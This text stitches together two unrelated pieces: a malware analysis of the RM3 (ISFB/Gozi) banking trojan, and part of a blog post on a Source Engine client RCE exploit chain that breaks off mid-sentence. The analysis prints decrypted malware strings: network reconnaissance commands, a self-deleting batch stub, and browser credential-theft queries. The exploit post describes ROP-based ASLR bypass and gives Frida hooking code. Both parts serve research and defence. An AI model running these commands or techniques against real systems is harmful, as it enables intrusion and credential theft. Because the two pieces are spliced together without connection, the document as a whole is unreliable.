Url - задает шаблон URL страницы, для которой необходмо сделать запись видео с экрана
Target - (опционально) задает ключевое слово, при наличии которого в коде страницы будет сделана запись
Var - задаёт длительность записи в секундах
RM3 browser webinject module detecting if it needs to launch a recording session (or any other particular task).

RM3 and its remote shell module – a trump card for ransomware gangs

Banking malware having its own remote shell module changes the potential impact of infecting a corporate network drastically. This shell is completely custom to the malware and is specially designed. It is also significantly less detectable than other tools currently seen for starting lateral movement attacks due to its rarity. The combination of potentially much greater impact and lower detectability make this piece of code a trump card, particularly as they now look to migrate to a ransomware model.

Called cmdshell, this module isn’t exclusive to RM3 but has in fact, been part of ISFB since at least build v2.15. It has likely been of interest for TA groups in fields less focused on fraud since then. The inclusion of a remote shell obviously greatly increases the flexibility this malware family provides to its operators; but also, of course, makes it harder to ascertain the exact purpose of any one infection, or the motivation of its operators.

Cmdshell module being launched by the RM3 Task Manager

After being executed by the task command “LOAD_CMD”, the injected module installs a persistent remote shell which a TA can use to perform any kind of command they want.

RM3 cmdshell module creating the remote shell

As noted above, the inclusion of a shell gives great flexibility, but can certainly facilitate the work of at least two types of TA:

  • Fraudsters (if the VNC/SOCKS module isn’t working well, perhaps)
  • Malicious Red teams affiliated with ransomware gangs

It’s worth noting that this remote shell should not be confused with the RUN_CMD command. The RUN_CMD is used to instruct a bot to execute a simple command with the output saved and sent to the Controllers. It is also present as a simple condition:

RUN_CMD inside the RM3 Task Manager

Then following a standard I/O interaction:

Executing task in cmd console and saving results into an archive

But both RM3’s remote shell and the RUN_CMD can be an entry point for pushing other specialised tools like Cobalt Strike, Mimikatz or just simple PowerShell scripts. With this kind of flexibility, the main limitation on the impact of this malware is any given TA’s level of skill and their imagination.

Task.key – a new weapon in RM3’s encryption paranoia

Implemented sometime around Q2 2020, RM3 decided to add an additional layer of protection in its network communications by updating the RSA public key used to encrypt communications between bot and controller domains.

They designed a pivot condition (USETASKKEY) that decides which RSA.KEY and TASK.KEY will be used for decrypting the content from the C&C depending of the command/content received. We believed this choice has been developed for breaking researcher for emulating RM3 traffic.

Extra condition with USETASKKEY to avoid using the wrong RSA pubkey

RM3 – A banking malware designed to debug itself

As we’ve already noted, RM3 represents a significant step change from previous versions of ISFB. These changes extend from major architecture changes down to detailed functional changes and so can be expected to have involved considerable development and probably testing effort, as well. Whether or not the malware developers found the troubleshooting for the RM3 variant more difficult than previously, they also took the opportunity to include a troubleshooting feature. If RM3 experiences any issues, it is designed to dump the relevant process and send a report to the C&C. It’s expected that this would then be reported to the malware developers and so may explain why we now see new builds appearing in the wild rather faster than we have previously.

The task is initialised at the beginning of the explorer module startup with a simple workaround:

  • Address of the MiniDumpWritDump function from dbghelp.dll is stored
  • The path of the temporary dump file is stored in C://tmp/rm3.dmp
  • All these values are stored into a designed function and saved into the RM3 master struct
Crash dump being initialized and stored into the RM3 global structure

With everything now configured, RM3 is ready for two possible scenarios:

  • Voluntarily crashing itself with the command ‘CRASH’
  • Something goes wrong and so a specific classic error code triggers the function
RM3 executing the crash dump routine

Stolen Data – The (old) gold mine

Gathering interesting bots is a skill that most banking malware TAs have decent experience with after years of fraud. And nowadays, with the ransomware market exploding, this expertise probably also permits them to affiliate more easily with ransom crews (or even to have exclusivity in some cases).

In general, ISFB (v2 and v3) is a perfect playground as it can be used as a loader with more advanced telemetry than classic info-stealers. For example, Vidar, Taurus or Raccoon Stealer can’t compete at this level. This is because the way they are designed to work as a one-shot process (and be removed from the machine immediately afterwards) makes them much less competitive than the more advanced and flexible ISFB. Of course, in any given situation, this does not necessarily mean they are less important than banking malware. And we should keep in mind the fact that the Revil gang bought the source code for the Kpot stealer and it is likely this was so they could develop their own loader/stealer.

RM3 can be split into three main parts in terms of the grabber:

  • Files/folders
  • Browser credential harvesting
  • Mail
An overview of standard stealing feature developed by RM3

It’s worth noting that the mail module is an underrated feature that can provide a huge amount of information to a TA:

  • Many users store nearly everything in their email (including passwords and sensitive documents)
  • Mails can be stolen and resold to spammers for crafting legitimate mails with malicious attachments/links

Stealing/intercepting HTTP and HTTPS communication

RM3 implements an SSL Proxy and so is really effective at intercepting POST requests performed by the user. All of them are stored and sent every X minutes to the controllers.

RM3 browser module initializing the SSL proxy interception
RM3 SSL Proxy running on MsEdge

Whenever the user visits a website, part of the inject config will automatically replace strings or variables in the code (‘base’) with the new content (‘new_var’); this often includes a URL path from an inject C&C.

As if that wasn’t complicated enough, most of them are geofencedand it could be possible they manually allow the bot to get them (especially with the elite one). Indeed, this is another trick for avoiding analysts and researchers to get and report those scripts  that cost millions to financial companies.

A typical inject entry in config.bin

A parser then modifies the variable ‘@ID@ and ‘@GROUP@’ to the correct values as stored in RM3_Struct and other structures relevant to the browsers.dll module.

Browser inject module parsing config.bin and replacing with respective botid and groupid

System information gathering

Gathering system information is simple with RM3:

  • Manually (using a specific RUN_CMD command)
  • Requesting info from a bot with GET_SYSINFO

Indeed, GET_SYSINFO is known and regularly used by ISFB actors (both active strains)

systeminfo.exe
driverquery.exe
net view
nslookup 127.0.0.1
whoami /all
net localgroup administrators
net group "domain computers" /domain

TAs in general are spending a lot of time (or are literally paying people) to inspect bots for the stolen data they have gathered. In this regard, bots can be split into one of the following groups:

  • Home bots (personal accounts)
  • Researcher bots
  • Corporate bots (compromised host from a company)

Over the past 6 months, ISFB v2 has been seen to be extremely active in term of updates. One purpose of these updates has been to help TAs filter their bots from the loader side directly and more easily. This filtering is not a new thing at all, but it is probably of more interest (and could have a greater impact) for malicious operations these days. 

Microsoft Edge (Chromium) joining the targeted browser list

One critical aspect of any banking malware is the ability to hook into a browser so as to inject fakes and replacers in financial institution websites.

At the same time as the Task.key implementation, RM3 decided to implement a new browser in its targeted list: “MsEdge”. This was not random, but was a development choice driven by the sheer number of corporate computers migrating from Internet Explorer to Edge.

RM3 MsEdge startup module

This means that 5 browsers are currently targeted:

  • Internet Explorer
  • Microsoft Edge (Original)
  • Microsoft Edge (Chromium)
  • Mozilla Firefox
  • Google Chrome

Currently, RM3 doesn’t seem to interact with Opera. Given Opera’s low user share and almost non-existent corporate presence, it is not expected that the development of a new module/feature for Opera would have an ROI that was sufficiently attractive to the TAs and RM3 developers. Any development and debugging would be time consuming and could delay useful updates to existing modules already producing a reliable return.

RM3 and its homemade forked SQLITE module

A lot of this blogpost has been dedicated to discussing the innovative design and features in RM3. But perhaps the best example of the attention to detail displayed in the design and development of this malware is the custom SQLITE3 module that is included with RM3. Presumably driven by the need to extract credentials data from browsers (and related tasks), they have forked the original SQLite3 source code and refactored it to work in RM3.

Using SQLite is not a new thing, of course, as it was already noted in the ISFB leak.

Interestingly, the RM3 build is based on the original 3.8.6 build and has all the features and functions of the original version.

Because the background loader (bl.dll) is the only module within RM3 technically capable of performing allocation operations, they have simply integrated “free”, “malloc”, and “realloc” API calls with this backbone module.

What’s new with Build 300960?

Goodbye Serpent, Hello AES!

Around mid-march, RM3 pushed a major update by replacing the Serpent encryption with the good old AES 128 CBC. All locations where Serpent encryption was used, have been totally reworked so as to work with AES.

AES 128 CBC implementation in RM3

RM3 C&C response also reviewed

Before build 300960, RM3 treated data received from controllers as described below. Information was split into two encrypted parts (a header and a body) which are treated differently:

  1. The encrypted head was decrypted with the public RSA key extracted from modules, to extract a Serpent key
  2. This Serpent key was then used to decrypt the encrypted data in the body (this is a different key from client.ini and loader.ini).

This was the setup before build 300960:

Now, in the recently released 300960 build, with Serpent removed and AES implemented instead, the structure of the encrypted header has changed as indicated below:

The decrypted body data produced by this process is not in an entirely standard format. In fact, it’s compressed with the APlib library. But removing the first 0x14 bytes (or sometimes 0x4 bytes) and decompressing it, ensures that the final block is ready for analysis.

  • If it’s a DLL, it will be recognised with the PX format
  • If it’s web injects, it’s an archive that contains .sig files (that is, MAIN.SIG†)
  • If it’s tasks or config updates, these are in a classic raw ISFB config format

† SIG can probably be taken to mean ‘signature’

Changes in .ini files

Two fields have been added in the latest campaigns. Interestingly, these are not new RM3 features but old ones that have been present for quite some time.

{
    "SENDFGKEY": "0",    // Send Foreground Key
    "SUBDOMAINS": "0",   
}

Appendix

IoCs – Campaign

00cd7319a42bbabd0c81a7e9817d2d5071738d5ac36b98b8ff9d7383c3d7e1ba - DE
a7007821b1acbf36ca18cb2ec7d36f388953fe8985589f170be5117548a55c57 - Italy
5ee51dfd1eb41cb6ce8451424540c817dbd804f103229f3ae1b645b320cbb4e8 - Australia/NZ 1
c7552fe5ed044011aa09aebd5769b2b9f3df0faa8adaab42ef3bfff35f5190aa - Australia/NZ 2
261c6f7b7e9d8fc808a4a9db587294202872b2a816b2b98516551949165486c8 - UK 1
2e0b219c5ac3285a08e126f11c07ea3ac60bc96d16d37c2dc24dd8f68c492a74 - UK 2
6818b6b32cb91754fd625e9416e1bc83caac1927148daaa3edaed51a9d04e864 - Worldwide ?

86b670d81a26ea394f7c0edebdc93e8f9bd6ce6e0a8d650e32a0fe36c93f0dee - GoziAT/ISFB RM2

IoCs – Modules

b15c3b93f8de40b745eb1c1df5dcdee3371ba08a1a124c7f20897f87f23bcd55  loader.exe (Build 300932)
ce4fc5dcab919ea40e7915646a3ce345a39a3f81c33758f1ba9c1eae577a5c35  loader.dll (Build 300932)

ba0e9cb3bf25516e2c1f0288e988bd7bd538d275373d36cee28c34dafa7bbd1f  explorer.dll (Build 300932)
accb76e6190358760044d4708e214e546f87b1e644f7e411ba1a67900bcd32a1  bl.dll (Build 300932)
f90ed3d7c437673c3cfa3db8e6fbb3370584914def2c0c2ce1f11f90f199fb4f  ntwrk.dll (Build 300932)
38c9aff9736eae6db5b0d9456ad13d1632b134d654c037fba43086b5816acd58  rt.dll (Build 300932)

2c7cdcf0f9c2930096a561ac6f9c353388a06c339f27f70696d0006687acad5b  browser.dll (Build 300932)
34517a7c78dd66326d0d8fbb2d1524592bbbedb8ed6b595281f7bb3d6a39bc0a  chrome.dll (Build 300932)
59670730341477b0a254ddbfc10df6f1fcd3471a08c0d8ec20e1aa0c560ddee4  firefox.dll (Build 300932)
d927f8793f537b94c6d2299f86fe36e3f751c94edca5cd3ddcdbd65d9143b2b6  iexplorer.dll (Build 300932)
199caec535d640c400d3c6b35806c74912b832ff78cb31fd90fe4712ed194b09  microsoftedgecp.dll (Build 300932)
13635b2582a11e658ab0b959611590005b81178365c12062e77274db1d0b4f0c  msedge.dll (Build 300932)

65a1923e037bce4816ac2654c242921f3e3592e972495945849f155ca69c05e5  loader.dll (Build 300960)

d1f5ef94e14488bf909057e4a0d081ff18dd0ac86f53c42f53b12ea25cdcfe76  cmdshell.dll (Build 300869)
820faca1f9e6e291240e97e5768030e1574b60862d5fce7f6ba519aaa3dbe880  vnc.dll (Build 300869)

Shellcode – startup module – bss decrypted

Windows Security
NTDLL.DLL
RtlExitUserProcess
KERNEL32.DLL
bl.dll - bss decrypted
Microsoft Windows
KERNEL32.DLL
ADVAPI32.DLL
NTDLL.DLL
KERNELBASE
USER32
LdrUnregisterDllNotification
ResolveDelayLoadsFromDll
Software
Wow64EnableWow64FsRedirection
\REGISTRY\USER\%s\%s\
{%08X-%04X-%04X-%04X-%08X%04X}
SetThreadInformation
GetWindowThreadProcessId
%08X-%04X-%04X-%04X-%08X%04X
RtlExitUserThread
S-%u-%u
-%u
Local\
\\.\pipe\
%05u
LdrRegisterDllNotification
NtClose
ZwProtectVirtualMemory
LdrGetProcedureAddress
WaitNamedPipeW
CallNamedPipeW
LdrLoadDll
NtCreateUserProcess
.dll
%08x
GetShellWindow
\KnownDlls\ntdll.dll
%systemroot%\system32\c_1252.NLS
\??\
\\?\

explorer.dll – bss decrypted

indows Security
.jpeg
Main
.gif
.bmp
%APPDATA%\Microsoft\
tasklist.exe /SVC
\Microsoft\Windows\
cmd /C "%s" >> %S0
systeminfo.exe
driverquery.exe
net view
nslookup 127.0.0.1
whoami /all
net localgroup administrators
net group "domain computers" /domain
reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
cmd /U /C "type %S0 > %S & del %S0"
echo -------- %u
KERNELBASE
.exe
RegGetValueW
0x%S
.DLL
DllRegisterServer
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Serialize
0x%X,%c%c
Startupdelayinmsec
ICGetInfo
SOFTWARE\Classes\Chrome
DelegateExecute
\\?\
%userprofile%\appdata\local\google\chrome\user data\default\cache
\Software\Microsoft\Windows\CurrentVersion\Run
http\shell\open\command
ICSendMessage
%08x
 | "%s" | %u
msvfw32
ICOpen
ICClose
ICInfo
main
%userprofile%\AppData\Local\Mozilla\Firefox\Profiles
.avi
https://
Video: sec=%u, fps=%u, q=%u
Local\
%userprofile%\appdata\local\microsoft\edge\user data\default\cache
MiniDumpWriteDump
cache2\entries\*.*
%PROGRAMFILES%\Mozilla Firefox
%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\*.default*
Software\Classes\CLSID\%s\InProcServer32
open
http://
file://
DBGHELP.DLL
%temp%\rm3.dmp
%u, 0x%x, "%S"
"%S", 0x%p, 0x%x
%APPDATA%
SOFTWARE\Microsoft\Windows NT\CurrentVersion
InstallDate

rt.dll – bss decrypted

Windows Security
%s%02u:%02u:%02u 
:%u
attrib -h -r -s %%1
del %%1
if exist %%1 goto %u
del %%0
Low\
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
*.*
.bin
open
%02u-%02u-%02u %02u:%02u:%02u
*.dll
%systemroot%\system32\c_1252.NLS
rundll32 "%s",%S %s
"%s"
cmd /C regsvr32 "%s"
Mb=Lk
Author
n;
QkkXa
M<q

netwrk.dll – bss decrypted

&WP
POST
Host
%04x%04x
GET
Windows Security
Content-Type: multipart/form-data; boundary=%s
Content-Type: application/octet-stream
--%s
--%s--
%c%02X
https://
http://
%08x%08x%08x%08x
form
%s=%s&
/images/
.bmp
file://
type=%u&soft=%u&version=%u&user=%08x%08x%08x%08x&group=%u&id=%08x&arc=%u&crc=%08x&size=%u&uptime=%u
index.html
Content-Disposition: form-data; name="%s"
; filename="%s"
&os=%u.%u_%u_%u_x%u
&ip=%s
Mozilla/5.0 (Windows NT %u.%u%s; Trident/7.0; rv:11.0) like Gecko
; Win64; x64
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
%08x
|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq
F%D,3
overridelink
invalidcert
9*.onion
&sysid=%08x%08x%08x%08x

browser.dll – bss decrypted

%c%02X
.php
Windows Security
1.3.6.1.5.5.7.3.2
1.3.6.1.5.5.7.3.1
2.5.29.15
2.5.29.37
2.5.29.1
2.5.29.35
2.5.29.14
2.5.29.10
2.5.29.19
1.3.6.1.5.5.7.1.1
2.5.29.32
1.3.6.1.5.5.7.1.11
1.3.6.1.5.5.7
1.3.6.1.5.5.7.1
2.5.29.31
1.2.840.113549.1.1.11
1.2.840.113549.1.1.5
WS2_32.dll
iexplore.hlp
ConnectEx
Local\
WSOCK32.DLL
WININET.DLL
CRYPT32.DLL
socket
connect
closesocket
getpeername
WSAStartup
WSACleanup
WSAIoctl
User-Agent
Content-Type
Content-Length
Connection
Content-Security-Policy
Content-Security-Policy-Report-Only
X-Frame-Options
Access-Control-Allow-Origin
chunked
WebSocket
Transfer-Encoding
Content-Encoding
Accept-Encoding
Accept-Language
Cookie
identity
gzip, deflate
gzip
Host
://
HTTP/1.1 404 Not Found
Content-Length: 0
://
HTTP/1.1 503 Service Unavailable
Content-Length: 0
http://
https://
Referer
Upgrade
Cache-Control
Last-Modified
Etag
no-cache, no-store, must-revalidate
ocsp
TEXT HTML JSON JAVASCRIPT
SECUR32.DLL
SECURITY.DLL
InitSecurityInterfaceW
BUNNY
SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
SendTrustedIssuerList
@ID@
URL=
Main
@RANDSTR@
Blocked
@GROUP@
BLOCKCFG=
LOADCFG=
DELCFG=
VIDEO=
VNC=
SOCKS=
CFGON=
CFGOFF=
ENCRYPT=
http
@%s@
http
grabs=
POST
PUT
GET
HEAD
OPTIONS
URL: %s
REF: %s
LANG: %s
AGENT: %s
COOKIE: %s
POST: 
USER: %s
USERID: %s
@*@
***
IE:
:Microsoft Unified Security Protocol Provider
FF:
CR:
ED:
iexplore
firefox
chrome
edge
InitRecv %u, %s%s
CompleteRecv %u, %s%s
LoadUrl %u, %s
NEWGRAB
CertGetCertificateChain
CertVerifyCertificateChainPolicy
NSS_Init
NSS_Shutdown
nss3.dll
PK11_GetInternalKeySlot
PK11_FreeSlot
PK11_Authenticate
PK11SDR_Decrypt
hostname
vaultcli
%PROGRAMFILES%\Mozilla Thunderbird
encryptedUsername
%USERPROFILE%\AppData\Roaming\Thunderbird\Profiles\*.default
encryptedPassword
logins.json
%systemroot%\syswow64\svchost.exe
Software\Microsoft\Internet Explorer\IntelliForms\Storage2
FindCloseUrlCache
VaultEnumerateItems
type=%s, name=%s, address=%s, server=%s, port=%u, ssl=%s, user=%s, password=%s
FindNextUrlCacheEntryW
FindFirstUrlCacheEntryW
DeleteUrlCacheEntryW
VaultEnumerateVaults
VaultOpenVault
VaultCloseVault
VaultFree
VaultGetItem
c:\test\sqlite3.dll
SELECT origin_url, username_value, password_value FROM logins
encrypted_key":"
default\login data
BCryptSetProperty
%userprofile%\appdata\local\google\chrome\user data
local state
DPAPI
v10
BCryptDecrypt
AES
Microsoft Primitive Provider
BCryptDestroyKey
BCryptCloseAlgorithmProvider
ChainingModeGCM
BCryptOpenAlgorithmProvider
BCryptGenerateSymmetricKey
BCRYPT
%userprofile%\appData\local\microsoft\edge\user data

Exploiting the Source Engine (Part 2) - Full-Chain Client RCE in Source using Frida

Introduction

Hey guys, it’s been awhile. I have cool new information to share now that my bug bounty has finally gone through. This recent report contained a full server-to-client RCE chain which I’m proud of. Unlike my first submission, it links together two separate bugs to achieve code execution, one memory corruption and one infoleak, and was exploitable in all Source Engine 1 titles including TF2, CS:GO, L4D:2 (no game specific functionality required!). In this bug hunting adventure, I wanted to spice things up a bit, so I added some extra constraints to the bugs I found/used, as well as experimented using the Frida framework as a way to interface with the engine through Typescript.

Problems with SourceMod (since the last post)

If you read my last blog post, you knew that I was using SourceMod as a way to script up my local dedicated server to test bugs I found for validity. While auditing this time around, it was quickly apparent that most of the obvious bugs in any of the original Source 2013 codebases were patched already. But, without confirming the bugs as fixed myself, I couldn’t rule out their validity, so a lot of my initial time was just spent scripting up SourceMod scripts and testing. While SourceMod itself already has a pretty fleshed-out scripting environment, it still used the SourcePawn language, which is a bit outdated compared to modern scripting languages. In addition, adding any functionality that wasn’t already in SourceMod required you to compile C++ plugins using their plugin API, which was sometimes tedious to work with. While SourceMod was very functional overall, I wanted to find something better. That’s why I decided to try out Frida after hearing good things from friends who worked in the mobile space.

Frida? On Windows?

One of the goals of this bug hunt was to try out Frida for testing PoCs and productizing the exploit. You might have heard about the Frida project before in the mobile hacking community where it really shines, but you might not have heard about it being used for exploiting desktop applications, especially on Windows! (did you know Frida fully supports Windows?)

Getting started with Frida was actually quite simple, because the architecture is simple. In Frida, you have a “client” and a “server”. The “client” (typically Python) selects a process to inject into, in this case hl2.exe, and injects the “server” (known as a Gadget) that will talk back and forth with the “client”. The “server”, executing inside the game, creates a rich Javascript environment with special bindings to read/write memory and hook code. To know more about how this works, check out the Frida Docs.

After getting that simple client and server set up for Frida, I created a Typescript library which allowed me to interface with the Source Engine more easily. Those familiar with game engines know that very often the engine objects take advantage of C++ polymorphism which expose their functionality through virtual functions. So, in order to work with these objects from Frida, I had to write some vtable wrapper helpers that allowed me to convert native pointer values into actual Typescript objects to call functions on.

An example of what these wrappers look like:

// Create a pointer to the IVEngineClient interface by calling CreateInterface exported by engine.dll
let client = IVEngineClient.CreateInterface()
log(`IVEngineClient: ${client.pointer}`)

// Call the vtable function to get the local client's net channel instance
let netchan = client.GetNetChannelInfo() as CNetChan
if (netchan.pointer.isNull()) {
    log(`Couldn't get NetChan.`)
    return;
}

Pretty slick! These wrappers helped me script up low-level C++ functionality with a handy little scripting interface.

The best part of Frida is really its hooking interface, Interceptor. You can hook native functions directly from within Frida, and it handles the entire process of running the Typescript hooks and marshalling arguments to and from the JS engine. This is the primary way you use Frida to introspect, and it worked great for hooking parts of the engine just to see the values of arguments and return values while executing normally.

I quickly learned that the Source engine tooling I had made could also be injected into both a client (hl2.exe) and a server (srcds.exe) at the same time, without any real modification. Therefore, I could write a single PoC that instrumented both the client and server to prove the bug. The server would generate and send some network packets and the client would be hooked to see how it accepted the input. This dual-scripting environment allowed me to instrument practically all of the logic and communication I needed to ensure the prospective bugs I discovered were fully functional and unpatched.

Lastly, I decided to create a fairly novel Frida extension module that utilized the ret-sync project to communicate with a loaded copy of IDA at runtime. What this let me do is assign names to functions inside of my IDA database and have Frida reach out through the ret-sync protocol to my IDA instance to get their address. The intent was to make the exploit scripts much more stable between game binary updates (which happen every few days for games like CS:GO).

Here’s an example of hooking a function by IDA symbol using my ret-sync extension. The script dynamically asks my IDA instance where CGameClient::ProcessSignonStateMsg exists inside engine.dll the current process, hooks it, and then does some functionality with some engine objects:

// Hook when new clients are connecting and wait for them to spawn in to begin exploiting them. 
// This function is called every time a client transitions from one state to the next 
//     while loading into the server.
let signonstate_fn = se.util.require_symbol("CGameClient::ProcessSignonStateMsg")
Interceptor.attach(signonstate_fn, {
    onEnter(args) {
        console.log("Signon state: " + args[0].toInt32())

        // Check to make sure they're fully spawned in
        let stateNumber = args[0].toInt32()
        if (stateNumber != SIGNONSTATE_FULL) { return; }

        // Give their client a bit of time to load in, if it's slow.
        Thread.sleep(1)

        // Get the CGameClient instance, then get their netchannel
        let thisptr = (this.context as Ia32CpuContext).ecx;
        let asNetChan = new CGameClient(thisptr.add(0x4)).GetNetChannel() as CNetChan;
        if (asNetChan.pointer.isNull()) {
            console.log("[!] Could not get CNetChan for player!")
            return;
        }
        [...]
    }
})

Now, if the game updates, this script will still function so long as I have an IDA database for engine.dll open with CGameClient::ProcessSignonStateMsg named inside of it. The named symbols can be ported over between engine updates using BinDiff automagically, making it easy to automatically port offsets as the game updates!

All in all, my experience with Frida was awesome and its extensibility was wonderful. I plan to use Frida for all sorts of exploitation and VR activities to follow, and will continue to use it with any more Source adventures in the foreseeable future. I encourage readers with backgrounds with pwntools and CTFing to consider trying out Frida against desktop binaries. I gained a lot from learning it, and I feel like the desktop reversing/VR/exploitation community should really look to adopt it as much as the mobile community has!

Okay, enough about Frida. Talk about Source bugs!

There’s a lot of bugs in Source. It’s a very buggy engine. But not all bugs are made equal, and only some bugs are worth attempting to chain together. The easy type of bug to exploit in the engine is the basic stack-based buffer overflow. If you read my last blog post, you saw that Source typically compiles without any stack protections against buffer overflows. Therefore, it’s trivial to gain control of the instruction pointer and begin ROP-ing for as long as you have a silly string bug affecting the stack.

In CS:GO, the classic method of exploiting these type of bugs is to exploit some buffer overflow, build a ROP using the module xinput.dll which has ASLR marked as disabled, and execute shellcode on that alone. In Windows, DLLs can essentially mark themselves as not being subject to ASLR. Typically you will only find these on DLLs compiled with ancient versions of the MSVC compiler toolchain, which I believe is the case with xinput.dll. This doesn’t mean that the module cannot be relocated to a new address. In fact, xinput.dll can actually be relocated to other addresses just fine, and sometimes can be found at different addresses depending on if another module’s load conflicts with the address xinput.dll asks to be loaded at. Basically this means that, due to the way xinput.dll asks to be loaded, the system will choose not to randomize its base address, making it inherently defeat ASLR as you always know generally where xinput.dll is going to be found in your victim’s memory. You can write one static ROP chain and use it unmodified on every client you wish to exploit.

In addition, since xinput.dll is always loaded into the games which use it, it is by far the easiest form of ASLR defeat in the engine. Valve doesn’t seem to concerned by this, as its been exploited over and over again over the years. Surprisingly though, in TF2, there is no xinput.dll to utilize for ASLR defeat. This actually makes TF2, which runs on the older Source engine version, significantly harder to exploit than CS:GO, their flagship game, because TF2 requires a pointer leak to defeat ASLR. Not a great design choice I feel.

In the case of a server->client exploit, one of these exploits would typically look like:

  • Client connects to server
  • Server exploits stack-based buffer overflow in the client
  • Bug overwrites the stack with a ROP chain written against xinput and overwrites into the instruction pointer (no stack cookie)
  • Client begins executing gadgets inside of xinput to set up a call to ShellExecuteA or VirtualAlloc/VirtualProtect.
  • Client is running arbitrary code

If this reminds you of early 2000s era exploitation, you are correct. This is generally the level of difficulty one would find in entry level exploitation problems in CTF.

What if my target doesn’t have xinput.dll to defeat ASLR?

One would think: “Well, the engine is buggy already, that means that you can just find another infoleak bug and be done!” But it doesn’t quite work that way in practice. As others who participate in the program have found, finding an information leak is actually quite difficult. This is just due to the general architecture of the networking of the engine, which rarely relies on any kind of buffer copy operations. Packets in the engine are very small and don’t often have length values that are controlled by the other side of the connection. In addition, most larger buffers are allocated on the heap instead of the stack. Source uses a custom heap allocator, as most game engines do, and all heap allocations are implicitly zeroed before being given back to the caller, unlike your typical system malloc implementation. Any uninitialized heap memory is unfortunately not a valid target for an infoleak.

An option to getting around this information leak constraint is to focus on finding bugs which allow you to leverage the corruption itself to leak information. This is generally the path I would suggest for anyone looking to exploit the engine in games without xinput.dll, as finding the typical vanilla infoleak is much more difficult than finding good corruption and exploiting that alone to leak information.

Types of bugs that tend to be good for this kind of “all-in-one” corruption are:

  • Arbitrary relative pointer writes to pointers in global queryable objects
  • Heap overflows against a queryable object to cause controllable pointer writes
  • Use-after-free with a queryable object

Heap exploits are cool to write, but often their stability can be difficult to achieve due to the vast number of heap allocations happening at any given time. This makes carving out areas of heap memory for your exploit require careful consideration for specifically sized holes of memory and the timing at which these holes are made. This process is lovingly referred to as Heap Feng Shui. In this post, I do not go over how to exploit heap vulnerabilities on the Source engine, but I will note that, due to its custom allocator, the allocations are much more predictable than the default Windows 10 heap, which is a nice benefit for those looking to do heap corruption.

Also, notice the word queryable above. This means that, whatever you corrupt for your information leak, you need to ensure that it can be queried over the network. Very few types of game objects can be queried arbitrarily. The best type of queryable object to work with in Source is the ConVar object, which represents a configurable console variable. Both the client and server can send requests to query the value of any ConVar object. The string that is sent back is the value of either the integer value of the CVar, or an arbitrary-length string value.

Bug Hunting - Struggling is fun!

This time around, I gave myself a few constraints to make the exploit process a bit more challenging, and therefore more fun:

  • The exploit must be memory corruption and must not be a trivial stack-based buffer overflow
  • The exploit must produce its own pointer leak, or chain another bug to infoleak
  • The exploit must work in all Source 1 games (TF2, CS:GO, L4D:2, etc.) and not require any special configuration of the client
  • The exploit must have a ~100% stability rate
  • The exploit must be written using Frida, and must be “one-click” automatically exploited on any client connected to the server

Given these constraints, I ruled out quite a few bugs. Most of these were because they were trivial stack-based buffer overflows, or present in only one game but not the other.

Here’s what I eventually settled on for my chain:

  • Memory Corruption - An array index under/overflow that allowed for one-shot arbitrary execute of an address in the low-level networking code
  • Information Leak - A stack-based information leak in file transfers that leveraged a “bug” in the ZIP file parser for the map file format (BSP)

I would say the general length of time to discover the memory corruption was about 1/10th of the time I spent finding the information leak. I spent around two months auditing code for information leaks, whereas the memory corruption bug became quickly obvious within a few days of auditing the networking code.

Memory Corruption - Arbitrary execute with CL_CopyExistingEntity

The vulnerability I used for memory corruption was the array index over/under-flow in the low-level networking function CL_CopyExistingEntity. This is a function called within the packet handler for the server->client packet named SVC_PacketEntities. In Source, the way data about changes to game objects is communicated is through the “delta” system. The server calculates what values have changed about an entity between two points in time and sends that information to your client in the form of a “delta”. This function is responsible for copying any changed variables of an existing game object from the network packet received from the server into the values stored on the client. I would consider this a very core part of the Source networking, which means that it exists across the board for all Source games. I have not verified it exists in older GoldSrc games, but I would not be surprised, considering this code and vulnerability are ancient and have existed for 15+ years untouched.

The function looks like so:

void CL_CopyExistingEntity( CEntityReadInfo &u )
{
    int start_bit = u.m_pBuf->GetNumBitsRead();

    IClientNetworkable *pEnt = entitylist->GetClientNetworkable( u.m_nNewEntity );
    if ( !pEnt )
    {
        Host_Error( "CL_CopyExistingEntity: missing client entity %d.\n", u.m_nNewEntity );
        return;
    }

    Assert( u.m_pFrom->transmit_entity.Get(u.m_nNewEntity) );

    // Read raw data from the network stream
    pEnt->PreDataUpdate( DATA_UPDATE_DATATABLE_CHANGED );

u.m_nNewEntity is controlled arbitrarily by the network packet, therefore this first argument to GetClientNetworkable can be an arbitrary 32-bit value. Now let’s look at GetClientNetworkable:

IClientNetworkable* CClientEntityList::GetClientNetworkable( int entnum )
{
	Assert( entnum >= 0 );
	Assert( entnum < MAX_EDICTS );
	return m_EntityCacheInfo[entnum].m_pNetworkable;
}

As we see here, these Assert statements would typically check to make sure that this value is sane, and crash the game if they weren’t. But, this is not what happens in practice. In release builds of the game, all Assert statements are not compiled into the game. This is for performance reasons, as the #1 goal of any game engine programmer is speed first, everything else second.

Anyway, these Assert statements do not prevent us from controlling entnum arbitrarily. m_EntityCacheInfo exists inside of a globally defined structure entitylist inside of client.dll. This object holds the client’s central store of all data related to game entities. This means that m_EntityCacheInfo since is at a static global offset, this allows us to calculate the proper values of entnum for our exploit easily by locating the offset of m_EntityCacheInfo in any given version of client.dll and calculating a proper value of entnum to create our target pointer.

Here is what an object inside of m_EntityCacheInfo looks like:

// Cached info for networked entities.
// NOTE: Changing this changes the interface between engine & client
struct EntityCacheInfo_t
{
	// Cached off because GetClientNetworkable is called a *lot*
	IClientNetworkable *m_pNetworkable;
	unsigned short m_BaseEntitiesIndex;	// Index into m_BaseEntities (or m_BaseEntities.InvalidIndex() if none).
	unsigned short m_bDormant;	// cached dormant state - this is only a bit
};

